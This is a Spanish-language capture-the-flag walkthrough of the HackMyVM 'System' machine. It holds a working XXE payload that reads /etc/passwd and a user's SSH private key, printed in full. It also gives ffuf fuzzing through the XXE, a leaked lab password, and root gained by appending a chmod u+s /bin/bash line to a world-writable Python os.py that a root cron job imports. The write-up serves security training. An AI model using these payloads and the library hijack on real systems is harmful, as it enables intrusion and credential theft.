System HackMyVM (Easy - Linux)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-20 02:59 EDT
Nmap scan report for 192.168.5.24
Host is up (0.00058s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 27:71:24:58:d3:7c:b3:8a:7b:32:49:d1:c8:0b:4c:ba (RSA)
| 256 e2:30:67:38:7b:db:9a:86:21:01:3e:bf:0e:e7:4f:26 (ECDSA)
|_ 256 5d:78:c5:37:a8:58:dd:c4:b6:bd:ce:b5:ba:bf:53:dc (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: HackMyVM Panel
MAC Address: 08:00:27:DE:FD:6B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.19 seconds
Veremos que hay un puerto 80
en el que si entramos veremos una pagina web alojada que contiene un panel de register
probablemente para registrar un usuario, vamos a probar a registrar un usuario a ver que pasa.
User: test
Pass: test
Veremos que pone esto:
test is already registered!
Pero no pasa nada mas, vamos abrir BurpSuite
y capturar la peticion del registro a ver que esta pasando por dentro, pero si inspeccionamos el codigo antes confirmamos esto:
<input type="submit" value="Register" onclick="XMLFunction()">
XXE (RCE)
Vemos que esta llamando a una funcion que tiene que ver con XML
por lo que tiene toda la pinta de que podremos realizar un XXE
, vamos a capturar la peticion.

Veremos que efectivamente esta utilizando XML
por lo que vamos a probar a realizar un XXE
a ver si se ejecuta codigo de forma remota para realizar un RCE
.
Probaremos esta estructura tipica de un XXE
.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<details>
<email>
&xxe;
</email>
<password>
test
</password>
</details>

Vemos que esta funcionando y estaremos leyendo el passwd
de la maquina victima, por lo que vamos a probar a leer la id_rsa
del usuario david
que es el unico que vemos que esta registrado.
file:///home/david/.ssh/id_rsa
Info:
id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
Veremos que ha funcionado, por lo que vamos a guardarlo en un archivo id_rsa
y establecerle los permisos necesarios.
chmod 600 id_rsa
Ahora vamos a probar a conectarnos por SSH
.
ssh -i id_rsa david@<IP>
Si probamos esto veremos que no nos deja ya que no esta habilitado autenticarte mediante la clave privada
por lo que vamos a realizar un poco de fuzzing
en la home
del usuario david
a ver que entontramos.
Escalate user david
FFUF
ffuf -w quickhits.txt -X POST \
-H "Content-Type: text/plain;charset=UTF-8" \
-d '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///home/david/FUZZ">]><details><email>&xxe;</email><password>test</password></details>' \
-u http://<IP>/magic.php --fs 85
Info:
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://192.168.5.24/magic.php
:: Wordlist : FUZZ: /home/kali/Downloads/quickhits.txt
:: Header : Content-Type: text/plain;charset=UTF-8
:: Data : <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///home/david/FUZZ">]><details><email>&xxe;</email><password>test</password></details>
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 85
________________________________________________
.profile [Status: 200, Size: 892, Words: 138, Lines: 28, Duration: 59ms]
.ssh/id_rsa [Status: 200, Size: 2687, Words: 17, Lines: 39, Duration: 23ms]
.ssh/id_rsa.pub [Status: 200, Size: 653, Words: 13, Lines: 2, Duration: 70ms]
.viminfo [Status: 200, Size: 786, Words: 90, Lines: 39, Duration: 55ms]
:: Progress: [2565/2565] :: Job [1/1] :: 561 req/sec :: Duration: [0:00:05] :: Errors: 0 ::
Veremos que encontramos un archivo bastante interesantes llamado .viminfo
vamos a ver que es y que contiene.
Si vemos que contiene veremos lo siguiente:
# This viminfo file was generated by Vim 8.2.
# You may edit it if you're careful!
# Viminfo version
|1,4
# Value of 'encoding' when this file was written
*encoding=utf-8
# hlsearch on (H) or off (h):
~h
# Command Line History (newest to oldest):
:wq!
|2,0,1648909714,,"wq!"
# Search String History (newest to oldest):
# Expression History (newest to oldest):
# Input Line History (newest to oldest):
# Debug Line History (newest to oldest):
# Registers:
# Password file Created:
'0 1 3 /usr/local/etc/mypass.txt
|4,48,1,3,1648909714,"/usr/local/etc/mypass.txt"
# History of marks within files (newest to oldest):
> /usr/local/etc/mypass.txt
* 1648909713 0
" 1 3
^ 1 4
. 1 3
+ 1 3
is already registered!
Vemos que en la ruta /usr/local/etc/mypass.txt
hay algo de una password
en este caso creemos que puede ser del usuario david
por lo que vamos a comprobarlo.
Si lo leemos veremos esto:
h4ck3rd4v!d
Vamos a conectarnos por SSH
a ver si funciona.
SSH
ssh david@<IP>
Metemos como contraseña h4ck3rd4v!d
y veremos que estaremos dentro, por lo que leeremos la flag
del usuario.
user.txt
79f3964a3a0f1a050761017111efffe0
Escalate Privileges
Si listamos la carpeta /opt
veremos lo siguiente:
total 12
drwxr-xr-x 2 root root 4096 Apr 2 2022 .
drwxr-xr-x 18 root root 4096 Apr 2 2022 ..
-rw-r--r-- 1 root root 563 Apr 2 2022 suid.py
Vemos que hay un archivo .py
vamos a ver que contiene:
from os import system
from pathlib import Path
# Reading only first line
try:
with open('/home/david/cmd.txt', 'r') as f:
read_only_first_line = f.readline()
# Write a new file
with open('/tmp/suid.txt', 'w') as f:
f.write(f"{read_only_first_line}")
check = Path('/tmp/suid.txt')
if check:
print("File exists")
try:
os.system("chmod u+s /bin/bash")
except NameError:
print("Done")
else:
print("File not exists")
except FileNotFoundError:
print("File not exists")
Vemos varias cosas interesantes, por lo vemos hay una opcion en la que si detecta el programa que existe un archivo llamado suid.txt
en la carpeta /tmp
se establecen permisos de SUID
a la bash
de lo contrario no hace nada.
Pero aunque lo creemos el archivo no pasara nada, tambien podemos creer que se esta ejecutando un crontab
ya que esto tiene pinta de que se esta ejecutando cada x
tiempo.
Vamos a pasarnos el script pspy64
a la maquina victima mediante un servidor de python3
y en la maquina victima con wget
.
python3 -m http.server 80
Ahora en la maquina victima:
cd /tmp
wget http://<IP>/pspy64
Una vez que nos lo hayamos pasado estableceremos permisos de ejecucion.
chmod +x pspy64
Ahora ejecutaremos dicho script.
./pspy64
Info:
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2025/05/20 03:34:07 CMD: UID=1000 PID=1053 | ./pspy64
2025/05/20 03:34:07 CMD: UID=0 PID=1021 |
2025/05/20 03:34:07 CMD: UID=0 PID=976 |
2025/05/20 03:34:07 CMD: UID=1000 PID=958 | -bash
2025/05/20 03:34:07 CMD: UID=1000 PID=957 | sshd: david@pts/0
2025/05/20 03:34:07 CMD: UID=1000 PID=948 | (sd-pam)
2025/05/20 03:34:07 CMD: UID=1000 PID=947 | /lib/systemd/systemd --user
2025/05/20 03:34:07 CMD: UID=0 PID=944 | sshd: david [priv]
2025/05/20 03:34:07 CMD: UID=0 PID=943 |
2025/05/20 03:34:07 CMD: UID=33 PID=917 | php-fpm: pool www
2025/05/20 03:34:07 CMD: UID=33 PID=916 | php-fpm: pool www
2025/05/20 03:34:07 CMD: UID=33 PID=915 | php-fpm: pool www
2025/05/20 03:34:07 CMD: UID=0 PID=881 |
2025/05/20 03:34:07 CMD: UID=0 PID=855 |
2025/05/20 03:34:07 CMD: UID=0 PID=841 |
2025/05/20 03:34:07 CMD: UID=33 PID=444 | nginx: worker process
2025/05/20 03:34:07 CMD: UID=0 PID=443 | nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
2025/05/20 03:34:07 CMD: UID=0 PID=439 | sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
2025/05/20 03:34:07 CMD: UID=0 PID=438 | /sbin/agetty -o -p -- \u --noclear tty1 linux
2025/05/20 03:34:07 CMD: UID=0 PID=432 | php-fpm: master process (/etc/php/7.4/fpm/php-fpm.conf)
2025/05/20 03:34:07 CMD: UID=0 PID=347 | /sbin/dhclient -4 -v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3.leases -I -df /var/lib/dhcp/dhclient6.enp0s3.leases enp0s3
2025/05/20 03:34:07 CMD: UID=0 PID=332 | /sbin/wpa_supplicant -u -s -O /run/wpa_supplicant
2025/05/20 03:34:07 CMD: UID=0 PID=328 | /lib/systemd/systemd-logind
2025/05/20 03:34:07 CMD: UID=0 PID=322 | /usr/sbin/rsyslogd -n -iNONE
2025/05/20 03:34:07 CMD: UID=104 PID=317 | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
2025/05/20 03:34:07 CMD: UID=0 PID=316 | /usr/sbin/cron -f
2025/05/20 03:34:07 CMD: UID=0 PID=284 |
2025/05/20 03:34:07 CMD: UID=0 PID=281 |
2025/05/20 03:34:07 CMD: UID=0 PID=278 |
2025/05/20 03:34:07 CMD: UID=0 PID=274 |
2025/05/20 03:34:07 CMD: UID=0 PID=272 |
2025/05/20 03:34:07 CMD: UID=0 PID=268 |
2025/05/20 03:34:07 CMD: UID=0 PID=266 |
2025/05/20 03:34:07 CMD: UID=0 PID=265 |
2025/05/20 03:34:07 CMD: UID=0 PID=262 |
2025/05/20 03:34:07 CMD: UID=0 PID=258 |
2025/05/20 03:34:07 CMD: UID=101 PID=254 | /lib/systemd/systemd-timesyncd
2025/05/20 03:34:07 CMD: UID=0 PID=240 |
2025/05/20 03:34:07 CMD: UID=0 PID=206 | /lib/systemd/systemd-udevd
2025/05/20 03:34:07 CMD: UID=0 PID=181 | /lib/systemd/systemd-journald
2025/05/20 03:34:07 CMD: UID=0 PID=147 |
2025/05/20 03:34:07 CMD: UID=0 PID=146 |
2025/05/20 03:34:07 CMD: UID=0 PID=110 |
2025/05/20 03:34:07 CMD: UID=0 PID=109 |
2025/05/20 03:34:07 CMD: UID=0 PID=108 |
2025/05/20 03:34:07 CMD: UID=0 PID=107 |
2025/05/20 03:34:07 CMD: UID=0 PID=106 |
2025/05/20 03:34:07 CMD: UID=0 PID=105 |
2025/05/20 03:34:07 CMD: UID=0 PID=104 |
2025/05/20 03:34:07 CMD: UID=0 PID=66 |
2025/05/20 03:34:07 CMD: UID=0 PID=65 |
2025/05/20 03:34:07 CMD: UID=0 PID=62 |
2025/05/20 03:34:07 CMD: UID=0 PID=52 |
2025/05/20 03:34:07 CMD: UID=0 PID=51 |
2025/05/20 03:34:07 CMD: UID=0 PID=50 |
2025/05/20 03:34:07 CMD: UID=0 PID=49 |
2025/05/20 03:34:07 CMD: UID=0 PID=48 |
2025/05/20 03:34:07 CMD: UID=0 PID=47 |
2025/05/20 03:34:07 CMD: UID=0 PID=46 |
2025/05/20 03:34:07 CMD: UID=0 PID=45 |
2025/05/20 03:34:07 CMD: UID=0 PID=44 |
2025/05/20 03:34:07 CMD: UID=0 PID=43 |
2025/05/20 03:34:07 CMD: UID=0 PID=25 |
2025/05/20 03:34:07 CMD: UID=0 PID=24 |
2025/05/20 03:34:07 CMD: UID=0 PID=23 |
2025/05/20 03:34:07 CMD: UID=0 PID=22 |
2025/05/20 03:34:07 CMD: UID=0 PID=21 |
2025/05/20 03:34:07 CMD: UID=0 PID=20 |
2025/05/20 03:34:07 CMD: UID=0 PID=19 |
2025/05/20 03:34:07 CMD: UID=0 PID=18 |
2025/05/20 03:34:07 CMD: UID=0 PID=17 |
2025/05/20 03:34:07 CMD: UID=0 PID=15 |
2025/05/20 03:34:07 CMD: UID=0 PID=14 |
2025/05/20 03:34:07 CMD: UID=0 PID=13 |
2025/05/20 03:34:07 CMD: UID=0 PID=12 |
2025/05/20 03:34:07 CMD: UID=0 PID=11 |
2025/05/20 03:34:07 CMD: UID=0 PID=10 |
2025/05/20 03:34:07 CMD: UID=0 PID=9 |
2025/05/20 03:34:07 CMD: UID=0 PID=8 |
2025/05/20 03:34:07 CMD: UID=0 PID=6 |
2025/05/20 03:34:07 CMD: UID=0 PID=4 |
2025/05/20 03:34:07 CMD: UID=0 PID=3 |
2025/05/20 03:34:07 CMD: UID=0 PID=2 |
2025/05/20 03:34:07 CMD: UID=0 PID=1 | /sbin/init
2025/05/20 03:35:01 CMD: UID=0 PID=1063 | /usr/sbin/CRON -f
2025/05/20 03:35:01 CMD: UID=0 PID=1064 | /usr/sbin/CRON -f
2025/05/20 03:35:01 CMD: UID=0 PID=1065 | /bin/sh -c /usr/bin/python3.9 /opt/suid.py
2025/05/20 03:36:01 CMD: UID=0 PID=1067 | /usr/sbin/CRON -f
2025/05/20 03:36:01 CMD: UID=0 PID=1068 | /usr/sbin/CRON -f
2025/05/20 03:36:01 CMD: UID=0 PID=1069 | /bin/sh -c /usr/bin/python3.9 /opt/suid.py
^CExiting program... (interrupt)
Veremos que efectivamente se esta ejecutando por root
una tarea programada de dicho archivo con python3.9
por lo que vamos a descargarnos linpeas.sh
de esta forma para enumerar el sistema.
cd /tmp
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas_linux_amd64
chmod +x linpeas_linux_amd64
./linpeas_linux_amd64
Info:
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 200)
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files
/dev/mqueue
/dev/shm
/home/david
/run/lock
/run/user/1000
/run/user/1000/systemd
/run/user/1000/systemd/inaccessible
/run/user/1000/systemd/inaccessible/dir
/run/user/1000/systemd/inaccessible/reg
/run/user/1000/systemd/units
/tmp
/tmp/.font-unix
/tmp/.ICE-unix
/tmp/linpeas_linux_amd64
/tmp/pspy64
/tmp/siud.txt
#)You_can_write_even_more_files_inside_last_directory
/usr/lib/python3.9/os.py
/usr/local/etc/mypass.txt
/var/lib/php/sessions
/var/tmp
Veremos esta parte de aqui, en esta seccion vemos esta fila:
/usr/lib/python3.9/os.py
Vamos a listar dicha libreria de python
.
ls -la /usr/lib/python3.9/os.py
Info:
-rw-rw-rw- 1 root root 39063 Apr 2 2022 /usr/lib/python3.9/os.py
Veremos que podemos sobreescribir el archivo y vimos anteriormente que el script que esta ejecutando root
tiene importada dicha libreria, por lo que vamos hacer lo siguiente:
nano /usr/lib/python3.9/os.py
#Dentro del nano
.........................<RESTO_DE_CODIGO>........................................
import os
os.system('chmod u+s /bin/bash')
Ese fragmento de codigo lo meteremos la final del archivo de os.py
, ahora solo tendremos que esperar a que se ejecute, esperado un rato vamos a listar la bash
a ver si funciono.
ls -la /bin/bash
Info:
-rwsr-xr-x 1 root root 1234376 Aug 4 2021 /bin/bash
Veremos que si ha funcionado, por lo que haremos lo siguiente.
bash -p
Info:
bash-5.1# whoami
root
Con esto veremos que ya seremos root
por lo que leeremos la flag
de root
.
root.txt
3aa26937ecfcc6f2ba466c14c89b92c4
Last updated